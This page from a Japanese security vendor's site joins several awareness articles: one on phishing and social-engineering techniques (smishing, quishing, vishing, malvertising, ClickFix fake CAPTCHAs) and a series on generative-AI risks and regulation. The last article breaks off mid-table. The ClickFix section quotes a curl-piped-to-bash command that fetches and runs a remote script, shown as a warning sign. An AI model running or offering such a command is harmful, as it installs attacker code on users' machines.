ソーシャルエンジニアリング最前線
【第3回】フィッシングメールの最新トレンドとソーシャルエンジニアリング攻撃の手口

Share

Security NEWS TOPに戻る
バックナンバー TOPに戻る

【関連ウェビナー開催情報】
弊社では7月23日(水)14:00より、「急増するフィッシング攻撃の実態と対策〜企業を守る多層防御とは〜」と題したウェビナーを開催予定です。多要素認証や従業員教育、技術的防御など多層的なアプローチに加え、当社ソリューションによる効果的な防御手法もご紹介します。ご関心がおありでしたらぜひお申込みください。詳細はこちら

本シリーズでは、「ソーシャルエンジニアリング最前線」として、2025年6月現在のフィッシングに代表されるソーシャルエンジニアリングに関する動向と企業・個人が取れる対策をまとめます。第3回はフィッシングを含めたソーシャルエンジニアリング攻撃の目的、最近話題の手口についてまとめます。

ソーシャルエンジニアリング攻撃の目的と心理的手口

ソーシャルエンジニアリング攻撃は攻撃者が被害者の心理や認知機能のバグを悪用したハッキング技法であることは第1回で紹介した通りです。ここではどんな手口でソーシャルエンジニアリング攻撃が仕掛けられるかを解説します。

最も多いソーシャルエンジニアリングの手口「フィッシング」

ソーシャルエンジニアリング攻撃で最も知られている手口はフィッシングでしょう。

フィッシングメールの種類

フィッシングといわれて最初に思い浮かべるフィッシングメールはフィッシングの一形態にあたります。フィッシングメールにもさまざまな種類があります。

  • フィッシングメールにマルウェアやマルウェアのダウンロードを行うアプリケーションを添付
    メールサービスやPCの機能などで検知しやすいことでも知られる
  • フィッシングメールにリンクを挿入し、リンク先から個人情報や認証情報を盗む、またはマルウェアのダウンロードを行う
    最近見られる手法にMicrosoft 365やGoogle Workspaceのログイン画面を精緻に再現した偽画面を使ったAiTMがある。日本国内で3月から5月にかけて問題となった証券口座への不正アクセス・不正取引事件も多くはこの手法を用いられたものと考えられる
  • 組織のコントロール外のサービスへ誘導し、マルウェアのダウンロードを行う
    会社のPCで求人サイトにアクセスし、会社で使用しているアカウントでGitHubにログインした状態で偽の採用担当者から指示された通り、コードを実行した結果暗号資産が盗難される事件などが発生している

さて、最近ではフィッシングもメールだけのものではなくなりました。

SMSを悪用した「Smishing(スミッシング)」

スミッシングはSMSで行われるフィッシングです。皆さまがよく知るものでは宅配事業者の不在配達通知のSMSによるスミッシングがこれに該当します。

QRコード型フィッシング「Quishing(クイッシング)」

街中でお店のメニューやお店のSNS、レンタルのためなどいろいろなところで見かけるQRコードですが、このQRコードが偽のログイン画面や偽の決済画面にリンクしているものをQuishing(クイッシング)といいます。イギリスの例では、駐車場の支払機にあるQRコードからアプリケーションのダウンロードを促されてアプリケーションをダウンロードした際、銀行口座の詳細確認のために90ペンス(約176円)の手数料に同意したところ、年間39ポンド(約7,600円)の払い戻し条件なしのサブスクリプションサービスを契約させられていたケース 注 1)もあります。

当初の被害が小さい(前述の例は90ペンス)ことなどから気付いても通報に至らないこと、決済情報や個人情報をQRコードでアクセスしたサイトで入力しているケースが多く、あとから詐欺に再度遭うこともあります。また、1人だけの被害であれば少額ですが、同じような被害者が数十人、数百人いるとさらに被害は拡大します。日本では現時点では一般的な手口ではありませんが、技術をさほど必要としない点を考慮すると同じ手口が流布する可能性が十分ある点に注意が必要でしょう。

フィッシング・スミッシング・クイッシングの共通対策とは?

フィッシング、スミッシング、クイッシングに共通する個人レベルの対策法は公式アプリ、公式サイト(ブックマーク)からのアクセスを心掛けることです。また、企業から貸与された端末経由でマルウェアのダウンロードをされるケースもあることから、企業から貸与された端末は目的外で使用しないことを徹底することも重要です。

音声通話を悪用する「Vishing(ビッシング)」

こちらは「声」によるフィッシング、Vishing(ビッシング)です。日本国内の被害事例としては2025年3月に山形鉄道が地元銀行を騙る自動音声の電話から誘導され、インターネットバンキングを経由し、およそ1億円の詐欺被害に遭った事例があります。

インターネットバンキングによる送金詐欺以外には自動音声との組み合わせによるテクニカルサポート詐欺などがあります。また、最近では警察を騙る自動音声通話なども報告されています 注 2)。基本的に自動音声でかかってくる電話はビッシングを疑ったほうがよいのが現状です。いったん電話を切ってから警察相談専用電話#9110や消費者ホットライン188に相談しましょう。

生成AIの進化で加速化するフィッシング手法

フィッシング全般に共通しますが、数年前であればフィッシングメールやSMSの文面の日本語がたどたどしかったり、日本語で使われない漢字が使用されたりといった違和感から怪しさに気付けたのですが、ここ1年ほどは生成AIの発展により、日本語のテキストからたどたどしさや違和感が急速に消えています。第2回で取り上げたフィッシングメールも文法や語彙としておかしな箇所は非常に少なく、注意力が低下しているときや慌てているときであれば気付かないかもしれないという危機感を抱くレベルです。最近ではアメリカFBIが政府高官のディープフェイクによる音声メッセージについて警告を発したり 注 3)、実際にアメリカ政府高官の顔写真などからAIが生成した音声を悪用したりする事例 注 4)が報告されています。文章によるフィッシングだけではなく、音声や画像、動画によるフィッシングについても、今後は警戒する必要があるでしょう。また、生成AIでWebページを生成するサービスも出現しています。一部のサービスには脆弱性があり、生成・公開されたページからユーザの情報やAIサービスのAPIキーなどの漏洩が可能という問題があります。

なお、このサービスでWebページを作るにはプロンプトを入力すればよいだけなので、ページによっては10~15分程度でフォームも含めて立ち上げることが可能です。また、サービスによってはAiTM用のなりすましページの作成などに制限もかからない可能性があり、生成AIによるソーシャルエンジニアリング攻撃への影響は多大なものがあります。

マルバタイジング(悪意ある広告)によるフィッシングの脅威

広告を介したソーシャルエンジニアリングをご存じでしょうか。一般的にはマルバタイジング(Malvertising)と呼ばれる手法で、広告から誘導する先が悪意のあるWebサイトである場合を指します。例えば以下のような事例があります。

  • 違法なストリーミングサイトに埋め込まれたマルバタイジングのリダイレクタからマルウェアが複数段に分けてダウンロードされ、認証情報が盗み取られた事例 注 5)
  • 正規のGoogle広告主の広告管理用サービスのアカウントを乗っ取り、マルバタイジングを行う事例 注 6)

フィッシングと偽CAPTCHA:ClickFixの新手口に注意

フィッシングやマルバタイジングなどの手法と併用されるものとして、ClickFix偽CAPTCHA(Fake CAPTCHA)という手法があります。ClickFixはもともと、アプリケーションのダウンロードサイトなどを模した偽サイトでエラー画面に模した画面を表示し、被害者にコマンドをコピーアンドペーストさせてマルウェアをダウンロードさせる攻撃です。元は不具合を修正(Fix)するためにコマンドを実行させることからついた名前ですが、もちろん修正すべきものは何もなく、セキュリティ防御のためのシステム(EDRなど)の検知をかいくぐるためにユーザにコマンドを実行させる点に特徴があります。

ClickFixは単純なコマンドのコピーアンドペーストと実行から、その後偽のCAPTCHAやreCAPTCHA を介してコマンドを実行させるものへと進化しています。CAPTCHA または reCAPTCHA 認証に失敗したと見せかけて、コマンドのコピーアンドペーストと実行手順を表示し、エラーの解消にはこの手順を実行せよとするものです。実行手順にはWindowsであれば必ず Windowsボタン+R(Windowsのファイル名指定実行のショートカット)、macOSユーザであれば/bin/bash -c “$(curl -fsSL リモートのシェルファイルへのパス)”が表示されます。いずれもファイルを実行するための手順となります。これを見たら怪しいと思ってWebページを閉じ、会社のマシンを使っている場合は必ずIT部門に報告しましょう。

このほかにも宿泊予約サイトに見せかけたClickFix手法も観測されています 注 7)。ダウンロードされるマルウェアは RAT やインフォスティーラーなど各種あり、この手法を悪用する攻撃者も様々です。日本語での事例はあまり見かけませんが、日本に対して過去に攻撃を実行したグループでの悪用例があり、画面の再現や実行手順の翻訳さえ整ってしまえばいつでも実行可能であることから、警戒するに越したことはありません。

放置ドメインの悪用によるフィッシングリスクと対策

閉鎖したはずのサブドメインやドメインが侵害され、フィッシングの誘導先やフィッシングメールの送信元として悪用されることもあります。自社のドメインやサブドメインが悪用されていないかの確認を定期的に行い、自社ブランドの価値を維持することも非常に重要です。

アタックサーフェス調査の詳細については以下の記事をご参照ください。
ASM(Attack Surface Management)と脆弱性診断

企業が狙われるビジネスメール詐欺(BEC):フィッシングの延長にある脅威

ビジネスメール詐欺についてはこちらの記事をご参照ください。
情報セキュリティ10大脅威」3年連続ベスト3入り、ビジネスメール詐欺を防ぐ手立ては?


―第4回「企業が実践すべきフィッシング対策とは?」へ続く―

【連載一覧】

第4回「企業が行うべきフィッシング対策」」へ続く―

―第1回「ソーシャルエンジニアリングの定義と人という脆弱性」―
―第2回「実例で解説!フィッシングメールの手口と対策」―
―第4回「企業が実践すべきフィッシング対策とは?」―

【関連記事】
【重要】楽天証券・SBI 証券をかたるフィッシングメールにご注意!
IPA 情報セキュリティ10大脅威からみる―注目が高まる犯罪のビジネス化―
フィッシングとは?巧妙化する手口とその対策
「情報セキュリティ 10 大脅威」3 年連続ベスト 3 入り、ビジネスメール詐欺を防ぐ手立ては?

注:
1)https://www.bbc.com/news/articles/cq6yznmv3gzo
2)https://www.keishicho.metro.tokyo.lg.jp/kurashi/tokushu/police_officer.html
3)https://www.ic3.gov/PSA/2025/PSA250515
4)https://www.msn.com/en-us/news/us/us-government-is-investigating-messages-impersonating-trumps-chief-of-staff-susie-wiles/ar-AA1FMU7f
5)https://www.microsoft.com/en-us/security/blog/2025/03/06/malvertising-campaign-leads-to-info-stealers-hosted-on-github/
6)https://www.malwarebytes.com/blog/news/2025/01/the-great-google-ads-heist-criminals-ransack-advertiser-accounts-via-fake-google-ads
7)https://www.microsoft.com/en-us/security/blog/2025/03/13/phishing-campaign-impersonates-booking-com-delivers-a-suite-of-credential-stealing-malware/

Security NEWS TOPに戻る
バックナンバー TOPに戻る

ウェビナー開催のお知らせ

  • 2025年7月9日(水)13:00~14:00
    SQAT®ペネトレーションテスト実演付き!-攻撃の“成立”を見極めるペネトレーションテストとは-
  • 2025年7月16日(水)14:00~15:00
    進化するランサムウェア攻撃-国内最新事例から学ぶ!被害を防ぐ実践ポイント10項目を解説-
  • 2025年7月23日(水)14:00~15:00
    急増するフィッシング攻撃の実態と対策〜企業を守る多層防御とは〜
  • 最新情報はこちら


    資料ダウンロードボタン
    年二回発行されるセキュリティトレンドの詳細レポート。BBSecで行われた診断の統計データも掲載。
    お問い合わせボタン
    サービスに関する疑問や質問はこちらからお気軽にお問合せください。

    Security Serviceへのリンクバナー画像
    BBsecコーポレートサイトへのリンクバナー画像
    セキュリティ緊急対応のバナー画像

    2025年春のAI最新動向第3回:
    生成AIの未来と安全な活用法 -私たちはAIをどう使うべきか?-

    Share

    Security NEWS TOPに戻る
    バックナンバー TOPに戻る

    本記事では全3回のシリーズを通して、2025年春時点でのAIをめぐる様々な事象をまとめています。連載第3回目となる今回は、生成AIを私たちはどのように活用すべきか、今後の展望について解説します。

    OWASP Top 10でみる生成AIのセキュリティリスク

    AIをめぐるセキュリティリスクを簡便にまとめた情報がOWASP Top 10 for LLM Applications 2025として公開されています。2024年11月に公開された2025年版では、以下の10項目がトップ10に挙げられています。

    • LLM01:2025 プロンプトインジェクション
      概要:ユーザーが入力したプロンプトが、意図しない形で LLM の挙動や出力に影響を与える脆弱性
    • LLM02:2025 センシティブ情報漏洩
      概要:LLMとそのアプリケーションのコンテキストにおいて、個人情報、金融情報、機密ビジネスデータ、セキュリティ認証情報などのセンシティブな情報が漏洩するリスク
    • LLM03:2025 サプライチェーン
      概要:LLMのサプライチェーンにおける脆弱性が、トレーニングデータ、モデル、デプロイメントプラットフォームの完全性に影響を与え、バイアスのある出力やセキュリティ侵害を引き起こすリスク
    • LLM04: データとモデルの汚染
      概要:事前学習、ファインチューニング、または埋め込みデータが操作され、脆弱性、バックドア、またはバイアスが導入されることによって、モデルのセキュリティ、パフォーマンス、または倫理的行動が損なわれるリスク
    • LLM05:2025 不適切な出力処理
      概要:LLMによって生成されたコンテンツの検証、サニタイズ、および処理が不十分なまま、他のコンポーネントやシステムに渡されることによって生じる脆弱性
    • LLM06:2025 過剰な代理権
      概要:LLMベースのシステムが、プロンプトに応答してアクションを実行するために、他のシステムと連携する機能を与えられることによるリスク
    • LLM07:2025 システムプロンプトリーク
      概要:LLMアプリケーションのシステムプロンプトが漏洩することにより、攻撃者がアプリケーションの内部動作を理解し、悪用するリスク
    • LLM08:2025 過度な信頼
      概要:LLMの出力の正確さや適切さに対する過度な依存によって生じるリスク。ユーザーがLLMの出力を効果的に評価できない場合、誤情報や不適切なアドバイスを受け入れる可能性が高まる
    • LLM09:2025 誤情報の生成
      概要:LLMが誤った情報や偏った情報を生成・拡散するリスク
    • LLM10:2025 無制限の消費
      概要:LLMが入力クエリまたはプロンプトに基づいて出力を生成するプロセスにおいて、リソース管理が不適切であることによって生じるリスク。モデルの窃取やシャドウモデルの作成につながる可能性もある

    Top10には実際にジェイルブレイクの手法として用いられるものも含まれています。また、AIによるサービスを提供する側がガードレールによって回避すべき問題も多く含みますが、LLM08:2025 過度な信頼のようにユーザ側の問題も含まれています。

    生成AIの利用用途 -私たちはAIをどう使うべきか?-

    生成AIサービスであり基盤モデルでもある「Claude」を提供するAnthropic社が、2025年2月10日、「The Anthropic Economic Index」という分析レポートを公開しました。同レポートでは、Claudeの利用データ(匿名データ)を用いて私たちが普段どのようにAIを使っているかを具体的に分析しています。

    生成AIの主な利用用途

    • ソフトウェア開発とテクニカルライティングが主要な利用用途
    • 生成AIが人間の能力と協力して強化・拡張(Augumentation)する目的で使用されることが57%を占めており、AI が直接タスクを実行する自動化(Automation, 43%)を上回っている
    • 生成AIの使用はコンピュータープログラマーやデータサイエンティストなどの中~高程度の賃金を得られる職業※ で一般的
      ※Claudeのユーザーの利用用途をタスク別に割り当て、そのタスクが実行される可能性が高い職業を割り当てている点に注意
    • 最高賃金帯と最低賃金帯のタスクで利用頻度が低い

    ここまで書いてきましたが、生成 AI・基盤モデル(LLM含む)をめぐっては2025年3月現在、以下のような問題があります。

    • 過度な信頼や誤情報に対する警戒(OWASP Top 10 for LLM Applications 2025やEU AI法)
    • 機微情報や著作物の取り扱いに関するルール作り(日本をはじめとする各国法制度)

    機微情報や著作物に影響されない分野としてソフトウェア開発やテクニカルライティングがあり、その中でもある程度誤情報の検知や生成AIの出力に対して過度に期待しない一定程度の経験のある層が生成AIを使いやすいという状況の結果として、現時点での利用方法があると考えられるかもしれません。

    AIの安全な利用に向けて

    機微情報や著作物の扱いに関する問題やジェイルブレイクによる危険な情報の出力、誤情報といった具体的な問題がある一方、生成AIに限らずAI全般において安全性をどう保証するのか、インシデントをどのように調査し報告するのかといった面については現在も議論が続いています。EUでAI法は施行されてはいるものの、実際の法規制はこれからとなります。容認できないリスクに当たるAIへの規制はすでに2025年2月2日から始まっていますが、そのほかのAIシステムについてはこれから規則が適用されることになっています。EUのAI法のアプローチによる安全性の保証がどう効果をもたらすかは1年以上を経ないとわからないのが実情です。また、2025年2月4日に内閣府のAI戦略会議から公開された「中間とりまとめ(案)」でも、安全性については制度・施策の中で透明性・適正性の確保と並んで課題として挙げられています。

    まとめ

    2025年春、生成AIは急速に進化し、私たちの日常やビジネスに大きな影響を与えています。しかし、その一方でジェイルブレイク、情報漏洩、誤情報生成など、数多くのセキュリティリスクも指摘されています。各国の政府や監督機関は、これらのリスクに対応するための法規制やガイドラインを整備しつつあり、利用者としても安全対策の強化が求められています。今後、生成AIを安全に活用するためには、最新の規制情報やガイドラインに基づいた対策を実施し、脆弱性診断などを通じてシステムの弱点を常に把握することが必要です。SQAT.jpでは、今後も生成AIの安全性に関する問題に注視し、ご紹介していきたいと思います。

    Security NEWS TOPに戻る
    バックナンバー TOPに戻る

    【連載一覧】

    ―第1回「生成AIとは? -生成AIの基礎知識と最新動向-」―
    ―第2回「生成AIをめぐる政府機関および世界各国の対応」―


    資料ダウンロードボタン
    年二回発行されるセキュリティトレンドの詳細レポート。BBSecで行われた診断の統計データも掲載。
    お問い合わせボタン
    サービスに関する疑問や質問はこちらからお気軽にお問合せください。

    Security Serviceへのリンクバナー画像
    BBsecコーポレートサイトへのリンクバナー画像
    セキュリティ緊急対応のバナー画像

    2025年春のAI最新動向第2回:生成AIをめぐる政府機関および世界各国の対応

    Share

    Security NEWS TOPに戻る
    バックナンバー TOPに戻る

    生成AIの普及が進む中、その安全性やセキュリティリスクについての議論が活発になっています。2025年春時点でのAIをめぐる様々な事象をまとめた本連載第2回目となる今回は、生成AIをめぐる政府機関および世界各国の対応についてご紹介します。

    DeepSeekに対する各国の反応

    DeepSeekは個人情報の保護を定める自国の法律に適合しないという理由から、韓国*1やイタリア*2では監督官庁が禁止措置などを講じています。また、日本では2025年2月3日、個人情報保護委員会から「DeepSeekに関する情報提供」という形で以下の点について周知がされました。

    - 同社の生成AIサービスについては、日本国内でサービス提供体制が構築されている他のサービスとは異なり、留意すべき点がありますが、同社が公表するプライバシーポリシーは中国語と英語表記のもののみとなっています。このため、同社が公表するプライバシーポリシーの記載内容に関して、以下のとおり、情報提供を行います。

    1. 当該サービスの利用に伴いDeepSeek社が取得した個人情報を含むデータは、中華人民共和国に所在するサーバに保存されること
    2. 当該データについては、中華人民共和国の法令が適用されること

    参考情報:
    ・個人情報保護委員会事務局「DeepSeek に関する情報提供」(令和7年2月3日)

    DeepSeek R-1は公開からわずか1カ月ほどでそのモデルの公開方法や安価な料金によって注目を浴びました。しかし一方で、セキュリティ上の問題や個人情報の保護の観点から多くの問題を巻き起こしています。

    生成AI全般に関する政府機関からの注意喚起

    国内では前述した個人情報保護委員会からの周知に引き続き、デジタル庁から生成AIの業務利用に関して注意喚起が行われました。この注意喚起はDeepSeekに関する周知をきっかけに、生成AI全般の利用について政府機関が再度注意喚起を行ったものです。

    • DeepSeekに関する個人情報保護委員会からの情報提供
    • 生成AIの業務利用に関する申し合わせの再周知
    • 他の生成AIサービスも含めて生成AIサービスは約款型サービスであることから、原則として用機密情報を取り扱わない
    • 機密情報を取り扱わない場合でもリスクを考慮したうえで必要な手続きを行い、申請・許可を要する
      (上記は2023年(令和5年)9月15日デジタル社会推進会議幹事会申合せ「ChatGPT等の生成AIの業務利用に関する申合せ(第2版)」で申し合わせ済の事項)
    • 国外サーバへのデータの転送は利用可否判断の差異の考慮すべきリスク
    • 生成AIサービスについてもIT調達申し合わせの対象

    参考情報:
    ・デジタル社会推進会議幹事会事務局「DeepSeek等の生成AIの業務利用に関する注意喚起(事務連絡)」(令和7年2月6日)

    改めて見直すとわかる通り、政府関係機関としても、DeepSeekに限らず生成AIサービス全般に対して業務上で利用することに制限をかけています。また、IT調達申し合わせの対象となっている点にも注意が必要です。

    一方、個人情報保護委員会からは2023年6月に「生成AIサービスの利用に関する注意喚起等」で一部事業者に対する要配慮個人情報の取得及び利用目的の通知などについての注意喚起が行われています。全般の注意喚起では個人情報取扱事業者、行政機関、一般利用者それぞれに向けた注意点が記載されています。一般の利用者向けの留意点としては以下の点が挙げられています。

    • 入力された情報が機械学習の利用や他の情報との統計的な結びつきにより正確/不正確を問わず出力されるリスクがある
    • 応答結果に不正確な内容が含まれることがある
    • 推奨:利用規約やプライバシーポリシーを十分に確認し、入力情報と照らし合わせて利用について適切に判断すること

    同時に発表された一部事業者への注意喚起では以下の点について注意喚起を行ったことがわかっています。

    • 個人情報、特に要配慮個人情報の収集を含まれないような取り組みの実施
    • 学習データセットへの加工前に要配慮個人情報を削除するか、個人識別ができないような措置の実施
    • 特定のサイトまたは第三者から要配慮個人情報を収集しないよう要請・指示が本人または個人情報保護委員会からあった場合、正当な理由がない限りは従うこと
    • 機械学習に利用されないことを選択してプロンプトに入力したよう配慮個人情報について正当な理由がない限り取り扱わないこと
    • 利用者及び利用者以外のものを本人とする個人情報の利用目的について、日本語を用いて双方に対して通知または公表すること

    2年前に注意喚起が行われて以降、注意喚起が行われた事業者のサービスを含む一部のサービスでは学習データへの再利用のオプトアウトメニューが実装されましたが、一部の事業者のみが実装するにとどまっているのが現状です。

    生成AIサービス利用に関する契約チェックリスト

    生成AIサービスの利用全般については2025年2月18日に経済産業省から「生成AIサービスの利用・開発に関する契約チェックリスト」が公開されています。チェックリストはインプット・アウトプット、またそれぞれの処理成果に対して設定されています。セキュリティに関してはチェックリスト内に、以下の観点でのチェック項目が設けられています。

    • 対象システム(AIサービス)のセキュリティ水準
    • 監査条項等
    • ログの保存
    • 規約改定に関する留意点
    AIの利用・開発に関する契約チェックリスト画像
    チェックリストの対象となる条項
    出典:経済産業省「AIの利用・開発に関する契約チェックリスト」p.11より抜粋

    全体としてデータが不適切に利用されないよう、利用者が不利益を被らないよう、チェックが行えるようなリストとなっています。生成AIサービスを利用されている場合、利用する予定がある場合には一度チェックしてみることをおすすめします。

    AIの安全性を確保するための法整備

    現在、各国でAIの安全性を確保するための法整備が進められています。

    欧州データ保護委員会(EDBP) Opinion

    EUでは個人情報保護についてGDPRがあり、その監督機関である欧州データ保護委員会(EDBP)が 2024年12月17日に「Opinion 28/2024 on certain data protection aspects related to the processing of personal data in the context of AI models」を公開しています。EDBPのOpinionには法的拘束力はありませんが、EUにおけるAIへの個人情報保護法制の今後を推測するものといえます*3。同資料では以下の3点について考察が行われています。概要を記載しますが、詳細は本文や引用元をご覧ください。

    1.AIモデルを匿名と見なすことができる場合と方法

    • AIモデルが匿名であるかどうかは、DPAがケースバイケースで評価すべきだとしている
    • 匿名化の結果、再度個人データを抽出できる可能性が非常に低い必要があるとされている

    2.AIモデルを開発または使用するための法的根拠として正当な利益を使用できるかどうか、およびどのように使用できるか

    • 従来から GDPR を回避するために正当な利益のみを法的根拠としてきた事業者に対して、正当な利益と主張しているものが本当に正当かどうかを確認するよう求められているもの
    • EDPBは[三段階のテスト]を用いて正当な利益の仕様であるかどうかを評価するよう求めている
      STEP1. 管理者または第三者に正当な利益はあるか
      STEP2. 正当な利益のために処理が本当に必要か
      STEP3. 個人の利益や基本的な権利と自由は、正当な利益によって覆されうるのか
      参考情報:https://www.edpb.europa.eu/system/files/2024-10/edpb_summary_202401_legitimateinterest_en.pdf

    3.違法に処理された個人データを使用してAIモデルが開発された場合に何が起こるか

    • AIモデルが違法に処理された個人データを使用して開発された場合、モデルが適切に匿名化されていない限り、そのデプロイの合法性に影響を与える可能性があるとされている

    EU AI法

    また、EUではAI全般をリスクベースで管理するためのAI法(『EU AI Act: first regulation on artificial intelligence』)が2024年に施行されました。

    EUではリスクレベルを以下のように定義し、それぞれに要件を設けています。

    許容できないリスク

    • 人や特定の脆弱なグループの認知行動操作(例えば、子供の危険な行動を助長する音声作動玩具)
    • ソーシャルスコアリング AI(行動、社会経済的地位、または個人の特性に基づいて人々を分類します)
    • 人々の生体認証と分類
    • 公共スペースでの顔認識などのリアルタイムおよびリモート生体認証システム
      法執行目的では一部例外が認められる場合がある。

    ハイリスク

    以下が該当し、規制の対象となる。

    (1). EUの製品安全法に該当する製品に使用されているAIシステム(玩具、航空、自動車、医療機器、リフトなど)
    (2). 特定の分野に分類されるAIシステム

    • 重要インフラの管理・運用
    • 教育と職業訓練
    • 雇用、労働者管理
    • 自営業へのアクセス
    • 必要不可欠な民間サービス
    • 公共サービス
    • 福利厚生へのアクセスと享受
    • 法執行機関
    • 移民、庇護、国境管理管理
    • 法律の解釈と適用に関する支援

    すべての高リスクAIシステムは、市場に投入される前、およびそのライフサイクル全体を通じて評価される。人々は、AI システムに関する苦情を指定された国家当局に申し立てる権利がある。

    透明性リスク

    • General-purpose AI(GPAI)として定義される生成AIサービス全般が該当
    • ミニマルリスクやハイリスクでも該当する場合がある
    • 許容できないリスクやハイリスクに分類されない場合でも、透明性要件とEUの著作権法に準拠する必要がある
      ・コンテンツがAIによって生成されたことを開示する
      ・不正なコンテンツが生成されないようにモデルを設計する
      ・トレーニングに使用した著作権で保護されたデータの概要の公開
    • システミックリスクをもたらす可能性のある影響の大きい汎用AIモデルは、徹底的な評価を受け、重大なインシデントが発生した場合は欧州委員会に報告する必要がある。
    • AIの助けを借りて生成または変更されたコンテンツ(画像、オーディオ、ビデオファイル(ディープフェイクなど))は、ユーザーが認識できる形で AI 生成であることをラベル付けする必要がある。

    ミニマルリスク

    スパムフィルターなどのリスクが最小限にとどまるAIサービスが該当

    なお、AI法はGDPR同様に日本の事業者がAIサービスをEU圏で提供する場合にも適用される*4とのことです。

    韓 AI基本法

    韓国ではAI基本法が2024年末に国会で議決*5されています。主な内容は以下の通りです。

    • AIの発展と信頼基盤造成のための推進体系の構築:競争力強化のためのAI基本計画の策定、AI安全研究所の運営など
    • AI産業の育成支援:AI研究開発・標準化・学習用データ施策の策定・AIの導入および活用に対する政府支援、AI集積団地の指定、専門人材の確保、中小企業のための特別支援など
    • 影響度の高いAI(人の生命・安全・基本的な権利に重大な影響を及ぼす可能性があるAI)・生成型AIに対する安全・信頼基盤の構築:透明性・安全性確保義務の規定、事業者の責務規定、AIの安全性・信頼性の検証・認証に対する政府支援、影響評価に対する政府支援など

    英国AISI

    英国では2025年2月14日に発表されたAnthropicとの協力関係を元にAISI(AI Security Insititute)を中心に国家安全保障やサイバー攻撃、詐欺や児童性的虐待などの国民に被害を及ぼす犯罪や治安問題に関連するリスク保護を強化し、経済の成長を支援する目的でのAI活用の推進を進めるとしています*6

    ―第3回「生成AIの未来と安全な活用法 -私たちはAIをどう使うべきか?-」へ続く―

    連載第2回では、生成AIに対する政府機関からの注意喚起や取り組みについてご紹介しました。次回、第3回では生成AIの安全な利用・活用方法と今後の展望についてみていきます。

    Security NEWS TOPに戻る
    バックナンバー TOPに戻る

    【連載一覧】

    ―第1回「生成AIとは? -生成AIの基礎知識と最新動向-」―
    ―第3回「生成AIの未来と安全な活用法 -私たちはAIをどう使うべきか?-」―


    資料ダウンロードボタン
    年二回発行されるセキュリティトレンドの詳細レポート。BBSecで行われた診断の統計データも掲載。
    お問い合わせボタン
    サービスに関する疑問や質問はこちらからお気軽にお問合せください。

    Security Serviceへのリンクバナー画像
    BBsecコーポレートサイトへのリンクバナー画像
    セキュリティ緊急対応のバナー画像

    2025年春のAI最新動向
    第1回:生成AIとは? -生成AIの基礎知識と最新動向-

    Share

    Security NEWS TOPに戻る
    バックナンバー TOPに戻る

    2025年春、生成AIが注目を集めています。そこで、本記事では全3回のシリーズを通して、2025年春時点でのAIをめぐる様々な事象をまとめました。連載第1回目となる今回は、生成AI関連で現在注目されている主要用語の解説、そしてDeepSeek R1の登場に伴う生成AIのセキュリティ上の課題について解説します。

    はじめに

    生成AIは、膨大なデータからパターンを学習し、文章や画像、音声などのコンテンツを自動生成する技術です。私たちの日常生活の中では、車載カメラでの画像認識や農業での生育・病害予測など、深層学習・機械学習を用いたAI技術がすでに利用されていますが、生成AIはさらにその範囲を拡大し、さまざまな業界に革新をもたらしています。

    生成AI、エージェントAI、大規模言語モデル(LLM)、基盤モデル

    昨今注目されているのは私たちの問いかけに対して何かを生成・出力する生成AIですが、日進月歩の分野でもあることから様々な用語が出てきています。本記事ではジョージタウン大学のCSET(Center for Security and Emerging Technology)やインド工科大学カンプール校(IITK)による定義から以下のように定義して話を進めていきたいと思います。

    生成AIとは

    コンテンツの生成を主な機能とするあらゆるAIシステム。膨大なデータセットからパターンを発見し、出力するもの

    例:

    • 画像生成ツール(Midjourney(ミッドジャーニー)、Stable Diffusionなど)
    • 大規模言語モデル(LLM)(GPT-4、PaLM、Claudeなど)
    • コード生成ツール(Copilotなど)
    • オーディオ生成ツール(VALL-E、resemble.aiなど)

    エージェントAI(Agentic AI・AIエージェント)とは

    事前に設定された目標に対して、人間の継続的な監視なしに、自律的に決定とアクションの実行を行うもの

    LLM(大規模言語モデル)とは

    言語と連携するAIシステムの一種
    – 過去数年間にわたって多くのパラメータでモデルをトレーニングすることでパフォーマンスが向上されるといわれている
    – 「言語」のターゲットとしてどこまでが含まれるかの定義は明確ではない(プログラミングコードはカウントされるのか、主に言語で動作するが画像を入力として受け入れるものはどうか、など)

    例:OpenAIのGPT-4、GoogleのPaLM、MetaのLLaMAなど

    基盤モデルとは

    より多くの具体的な目的に適応できる、幅広い機能を備えたAIシステム。多くのLLMが含まれる

    例:初代ChatGPTにおける GPT-3.5(LLM、基盤モデル)

    出典:
    ・CSET
    What Are Generative AI, Large Language Models, and Foundation Models?
    ・E&ICT Academy, IIT Kanpur
    gentic AI vs. Generative AI: Key Differences and Use Cases in 2025

    機密情報、個人情報とAI

    DeepSeekショック

    2025年に入って注目を浴びたニュースのひとつに、中国のAI研究所DeepSeekが公開した「DeepSeek-R1」があります。DeepSeekは商用利用可能なオープンソースとして公開され、チャットボットが無料であることで注目される一方で、多くのブログやレポートでセキュリティ上の問題点が指摘されています。指摘された問題は大きく分けて以下の3点になります。

    1. ジェイルブレイク脆弱性
      武器や有害物質、悪意のあるスクリプトやマルウェアの生成などが可能となるジェイルブレイク脆弱性の存在*7
    2. 通信の安全性や機密情報の取り扱いに関する問題*2
    3. データの送信先
      データをチャイナテレコム(中国電信)やバイトダンス(TikTok運営企業)に送信していること*3

    AIにおける「ジェイルブレイク」とは

    AIジェイルブレイクとは、AIに設定されたガードレール(緩和策)の故障を引き起こす可能性のある手法です。これにより、システムがオペレーターのポリシーに違反したり、1人のユーザーに過度に影響を受けた決定を下したり、悪意のある指示を実行したりするなど、回避されたガードレールから被害が生じます。

    参考情報:
    ・Microsoft「AI jailbreaks: What they are and how they can be mitigated

    このように、悪意のあるスクリプトやマルウェアの生成が容易に行われることは、MaaS/RaaS/PhaaSなどのサービス化したサイバー脅威の普及に匹敵するレベルで、犯罪のすそ野を広げていく可能性があります。実際の攻撃のうち、マルウェアキャンペーンに関しては2024年時点でAIは直接的に大量に使用されていないというレポート*4がありますが、DeepSeekのようなガードレールが機能しない生成AIがこの状況を変える可能性もあります。

    関連記事:
    RaaSの台頭とダークウェブ~IPA 10大セキュリティ脅威の警告に備える
    IPA 情報セキュリティ10大脅威からみる -注目が高まる犯罪のビジネス化-

    また、通信の安全性やデータの取扱いに問題があるサービスを利用することで、うっかり入力した個人情報や機密情報が漏洩し、二次被害を招く可能性も、サイバーセキュリティの観点から注意すべきでしょう。

    ジェイルブレイクとガードレール(緩和策)

    ここで主要な基盤モデルとそれぞれのジェイルブレイクや情報漏洩の報告の有無をみてみましょう。

    表1 主な基盤モデルとジェイルブレイク・情報漏洩の報告の有無

    基盤モデルジェイルブレイク情報漏洩
    OpenAI GPT-4 あり該当なし
